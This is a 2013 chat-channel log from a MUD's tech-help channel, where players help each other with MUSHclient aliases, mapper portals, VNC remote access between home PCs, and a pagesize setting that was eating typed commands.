T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: right on, ill be taking a look at it for sure. i just got sucked into these help files at the moment.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: starts with "wear portal ;; enter"...then adds in "but you'll want to get it from a bag", etc
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: the portal alias i just made programs my portals exactly how i needed.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: prolly not the right way to do it, but im proud i made it work
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nod, you ended up pretty much in the same place
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: mapper portal get %1 %2;;hold %1;;enter;;dualaa;;put %1 %2
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: thats what it looks like
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: he also covers cexits with doors
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Cody rapidly nods twice, in complete agreement.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Jhav Tech: If you're going to be doing the same sort of action for every portal, you may want to consider making it a seperate alias to pull out of bag etc etc.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Jhav Tech: Otherwise, changing them all (when you get the portal wish, for example) will be a nightmare.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: jhav: he is going to just be typing "proport portalname bagname"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: it gets and returns portal to bag.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: will i be able to hold a portal with portal wish, like be wering one and hold one?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: if not, this couldlatr conflict.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: with portal wish, what happens if i type "hold portalname"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Jhav Tech: If he is literally entering the mapper portal line he had on tech just a minute ago, that is not what he is doing, Abelinc :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it wears it in the portal slot
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: jhav: that line is what the "proport" alias he just worked out making does
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Acheos Tech: you will hold the portal, but it has its own slot
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: look further back
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Acheos Tech: allowing you to keep you dual wielded weapons or shield and held item
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: you can stilluse the verb "hold", but you won't then be wearing one in a portal slot and another in held slot
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: Abe, what i have will be ok with portal wish as well right? im confused now
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: yes, it'll work with portal wish
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Jhav Tech: My point was that the contents of the mapper portal command itself might be made into an alias.  But whatever you like.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Acheos grabs some popcorn and sits back to watch the show.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: no real benefit, just more-cluttered alias list
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: Thank you very much. i appreciate all the help.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Jhav Tech: One more alias, versus having every mapper portal command be incredibly verbose whenever you examine the list?  Whatever floats your boat, I guess.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: I did it closer to what you're describing, jhav (but also not in MUSH or using a mapper)...but there's not really a benefit, and are some drawbacks in the mapper context
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: ahh, I misunderstood a bit what you were getting at I think
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: so you'd have a use-portal * * alias, then the proport alias which does mapper portal use-portal * *
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: I was thinking you meant making an alias for the portals, then mapper portal aliasname, which would get cluttered
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: i still dont know what he means, but ill learn more and more sooner or later
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: cody: he means if you had one alias, something like "useportal * *" that does the "get foo from bar, wear foo, enter, wearnormal, put foo bar"...then your proport alias could do mapper portal useportal %1 %2...then when you list your portals in "mapper portals", the action will be just "useportal portalname portalbag" rather than the whole enchilada of get from bag, wear, enter, wearnormal, put back"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: just one more level of abstraction
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: doesn't operate any differently than yours already does, just easier to look at in mapper portals list
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and if you ever were to change how you use portals in general, then you could change that useportal alias (i.e. it'd make your question of "does portal wish change anything" moot)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cody Tech: oh i see... as it does what i need ill leave it. i did consider tryn to add alias for portalbag, but this works.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: ok, this is probably basic for most of you... I have a pc, and a laptop.  How do remotely access my pc from my laptop (in the same wireless network)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: what operating system?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: windows 7 on both
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: depends
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: I know there is a "Remote desktop" feature, but the help files say to check with an IT administrator to get the URL
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: google pupblic ip
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: public*
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: that is the ip that the desktop has facing 'the internet"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: no, he is on the same network
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Thunderous Norton Tech: depends on the windows 7 version. if its home premium, rdp isn't available.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Thunderous Norton Tech: but i believe there is a hack workaround on goole somewhere.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: ... ok how about this, why?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Thunderous Norton Tech: google somewhere
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Thunderous Norton Tech: cause its not a feature in home premium
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Thunderous Norton Tech: same as home premium can't join a domain.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or use a vnc client
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: you could use also vnc (TightVNC)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Aqiz Tech: no, why do we need to remote in a pc that we have acces to?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or teamviewer for easy setup
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: hmm, ok, seemed like it would be easier.  I use splashtop on my phone, and it can access my PC easily
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: teamviewer is not nice tool
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: I mean, it opens a lot of connections and involves 3rd party
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: "access" means remote control or do you just want to open/copy files?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: aqiz, long story:)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so what. nothing comes close when you need to assist someone who doesn't have vnc or anything installed on their computer
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hey, run this app and tell me the two numbers. that's it. use it all the time
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: looking to access
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: remote assistance doesn't work for that?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: that was my original question, how to run remote assistance
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: If you only need to move/copy files on the home PC, you dont need to RDP
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: I've never used it, and I figured folks on here would know
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: remote assistance is interactive at both ends. you don't use it like that.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: I need to remotely use my pc from within the house (same network).  if it is not easy, that's ok, I'll forget about it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: it is great for helping somebody.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: you were answered, use teamviewer (easiest to setup) or vnc (3rd party servers)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: Nah, its easy.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's very easy. install a vnc client
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: vnc is easy
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Piffaron Tech: ok, will do, thanks! :)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: sorry, vnc - no 3rd party servers, just install on both machines TightVNC 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Flach Tech: Aye, what they said.  A VNC client will serve your purpose.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}WarPigs Tech: install someflavorvnc server on the desktop and someflavorvnc client on the laptop.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Why does my attempt to SSH out always fail with 'broken pipe' or no message at all? Is it purely a timeout issue?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: if you have tg3 then check TCP offload settings
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone know if it is possible to turn off underlining of MXP in cMUD?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Can someone tell me why most commands I put in need to be put in twice?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: you have a script eating the first ones.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: How would that work on the default MUSHclient 4.84?  I have made no user scripts, unless you count putting quick commands to the keypad.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: it already comes shipped with several plugins installed, doesn't it?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: True, but has anyone else mentioned this that uses MUSH?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: probably not, at least not without having it pointed out that the user was doing something wrong in one of their scripts.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bast Tech: what is "most" commands? Are there commands you don't have to put in twice?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: It's random with every command, hence I say 'most'.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: It's not limited to commands either.  Really, anything I type in or use my quick-keypad for.  Sometimes movement.  Sometimes typing to kick, dust, kobold, cast, etc...  Sometimes even to post 'says' or talk in channels.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bast Tech: does it ever happen if you are typing the commands on your regular keyboard?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Yes.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Example...  I type 'examine whatever' and nothing happens, so I tap the up arrow to re-input the last text and do it again.  Voila, good.  I type 'invsort type' and my inventory pops up.  I hit enter to page further and nothing happenes.  I hit enter again and boom, there it is.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: It should be mentioned that every time this happens, my windows does page down one line as though it was attempting to read my input.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: as many times as you press enter and get nothing?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: get clean install of mushclient then
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: or turn all plugins off and find culprit turning them on one-by-one
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: also, turn you triggers and aliases off
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Not sure how to answer that...  I press enter after initial input to get nothing.  If I hit it again, it simple pages down with the char info line.  If I tap the up arrow to re-input, it takes.  
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: there is also one more possiblity - problem with your system
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: so, get clean install - if works ok, then problem is with your current mushclient setup
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: this is my fifth install of MUSH because I thought that would help.  I also have no aliases or triggers that I made myself, unless they are pre-installed with the clean client.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I have no outside plugins other than those that came with it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: you could check also with plain telnet whether there is the same effect
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: though you should consider, that something wrong is going with keylogger or trojan
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't really matter.  Data is data, and all data has an equal chance of getting corrupted.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I will check on regular telnet and see if it happens there.  Though, I've played on Achaea MUD without such an effect.  Only seems to be here, and not only from my system.  I also play on my android when I'm not near my PC and it happens there too.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: if your system is clean, then maybe problem with mud-side setting
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: try creating alt and veryfy that other character also has the same problems
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Telnet site out of Detroit, near home works okay.  Just wrote a bunch of one lines of gibberish and none needed doubled.  I will try the alt and may get back to ya, or whoever.  Thanks for the info folks.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: If y'all are still around that heard my whine about having to double post commands, I ran around with an alt named Xiar and put in some random commands, and each one went through without a problem.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Note - I just had to input this twice using the up arrow to re-input it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: do you have any mudside aliases set?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: No.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because what you are describing is like...impossible
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I'm not MUD savvy enough to make aliases or scripts.  I just play.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wish I could make heads or tails of the symptoms you've described so far
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but none of it makes logical sense
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: The River Styx is agreeing with that The Jerk Fiendish person again...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Me too.  I thought it was my connection, because I hotspot from a mifi device, but if the alt was fine, and a regular telnet chat is fine...  I'm stumped, hence the asking of the awesome tech-minds.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I assume the alt was using the same client setup
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Sure was.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: No aliases/triggers that your alt didn't have?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: which client?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: MUSH 4.84 clean, no plugins, no aliases, no triggers, no scripting, aside from what comes natural.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Aard mush, or vanilla mush?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Aard MUSH from the site.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I came in late, so let me verify what i read on history. You're saying tha periodically and without rhyme or reason, the client 'eats' some of your commands, correct?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it sounds like he's using a stock aardmush install
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Cheezburger: but only on this char and not with an alt
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Correct Cheez, and correct Fiend
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Grissom Tech: might sound stupid but at the which you had to double send were you reading a note.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Yeah, that makes no damn sense if it's a stock install.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: delete the aardmush folder and redownload/run?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: I vaguely recall some person had similar problems, and it was with mud side settings
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: but it should do it on his alt if it's the mush setup
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: the only thing you might be losing is what you've mapped.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Styx: he did that 5 times already
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Dhovar: when you type 'alias' does it say anything?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I also noted earlier that it is not only in this client.  It also happens when I play this character on the Android client.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: gotta be mudside then.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: i'd suggest turning on echocommands, and see if the mud registers your sending anything at all when it fails to send
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: 'You have no aliases defined.'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Cheez, how do I go about doing that?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: type echocom
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: what about prompt reset ?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Wait a sec
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: can't imagine why the prompt would break his commands
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: type config all, does your prompt end in %c?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if he's using the aardmush package it does now
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: ahh
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (well it should. if it doesn't that's a bug I guess)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Nods. Go ahead and check it, Dhovar.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: use pastebin and post your config all output
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: It does end in %c
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: both?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: type 'p data' 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: you could have turned raw colors
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: What's your pagesize set at, Dhovar? Perhaps your getting a paging prompt, and not seeing it for some reason. There are a limited number of commands that are accepted at a paging prompt. That would also explain the random nature of it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I typed 'p data'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: %%c at the end of both of them?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: erm %c
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: how do you mark a room as no portal on mapper?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: %c on the prompt would not affect this either way
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: mapper portal [alias to use portal]
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: try to use a portal in it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: -- %c at the end of both regular and  at the end of raw
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: oh, misread that question. my bad.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Wreck-It Roninleader grins evilly at Chaz Bono Cheezburger.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: rawcolors adds @w. that's not a problem
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Chaz Bono Cheezburger nods at The Jerk Fiendish.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Dhovar: When you typed config all the first time, did you happen to see what you have your pagesize set at?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: just type 'pagesize'
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: Pagesize 36, I did change that because of my window size.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: If it has a value set, do 'pagesize 0' and remove it. Let MUSH handle the pagination.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The River Styx Tech: or just do pagesize 0 to disable
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: k, thanks fiendish
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mmm...I'd set it to something like 400 instead
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think MUSHclient can still disconnect on note list
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Meh, if slist can't choke mush, there's not much that'll overflow that buffer easily :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it happens to me sometimes
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Yeah, note list on ideas, forget about that sometimes
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: one day I might bug nick about it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: post output of 'config all' on http://pastebin.com and give link
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: It's such a small use-case though, i doubt it's worth his time.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: http://pastebin.com/raw.php?i=qR9vmBr6
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I see you turned pagesize off, try playing like that for a while and see if you see it happen again. I bet it was the page prompt eating your commands.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: I've been moving around and 'eating/drinking/ so my guy don't whither, and I haven't had to double post.  I think that was it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: yay :)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Dhovar Tech: <--applauds!  Thanks guys!  Fingers crossed it keeps going smooth!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Hey fiend, is there a way to ditch the timestamps in the chat window of the aardmush package?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is there a way to share cmud maps without replacing portals?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: not without editing the database manually
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: where are the portals stored, if not in the .dbm file?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: they're in the .db file
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: oh, sorry, cmud
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: it's considerably harder to share portions of a mapfile, true, but between the .dbm file and the .zfg file there shouldn't be anything about the mapper functionality that cannot be transported.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: right, but he doesn't want to replace portals :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: right, but myrk was saying OTHER than accessing the db directly
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cornor Cerashor Tech: could anyone help me move my gui in mush for search and destroy i managed to drag it out of cursors reach?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: im trying to work on my mapping for knossos. what is the best way to go about that? one line alias/cexit for getting the the passport and id?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Set the custom exit to go north past the first guard to get both, and a cexit for the 2nd guard to just give him the pasport
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: define alias from entrance
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: maybe someone could just c&p their own alias for that area and note it to me, so i can be lazy and not do the work myself? :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Do it yourself.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's not that hard :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: laziness does not generally take into consideration difficulty. :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: buy ok, ill work on that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: I prefer to cexit it from the start of the area:P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: did any of you read cerashor's q?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I raed it, but have no idea. I don't use S&D gui.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: what do you do when you move the gui thingy out of cursor reach?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: where is fiendish!?! :D
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and nod, I'd make it as a cexit from Before a Great City to Castle Checkpoint
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: On the rest of the windows I'd just do resetaard, but I don't know if that'll work on the S&D windows.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: You need Winkle for this one
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Wreck-It Roninleader pokes The Jerk Fiendish in the ribs.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Fiendish didn't write S&D, Ronin
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That would be Winklewinkle.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i know that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cornor Cerashor Tech: thanks for the feedback i'll trry reinstall mush
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: I think there's a command to reset gui
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I wouldn't, Cerashor
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: like xset reset gui or something
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: there's a command to reset the gui of winkle's stuff
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: You nod at BobTheGreat.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: winkle is just not on a lot as far as i know, and fiendish is pretty up to speed on most of this type of stuff
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Trachx Tech: xset reset gui
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: and barring that, when a plugin does not have a command (and what you did before it had one), you just delete the state file of that one plugin
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: On the mush package he works on, not other people's plugins.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Confirmed, it's xset reset gui, Cerashor
T3/r7/2013-01-06.txt.gz:{chan ch=tech}BobTheGreat Tech: Just tested it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cornor Cerashor Tech: WOOOOOO
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: fiendish will offer pretty much zero support for anything S&D related, particularly given that he doesn't approve of its very existence :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Cornor Cerashor Tech: managed loving these techies
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger crosses his arms and nods sagely to you.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: but he would tell you how to remove a state file
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I was fairly sure Winkle wouldn't included a way to do it programmatically, that's why I didn't suggest the state file earlier.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: state files are named for both the worldID and the pluginID, and are in the plugins -> state folder
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: would've*
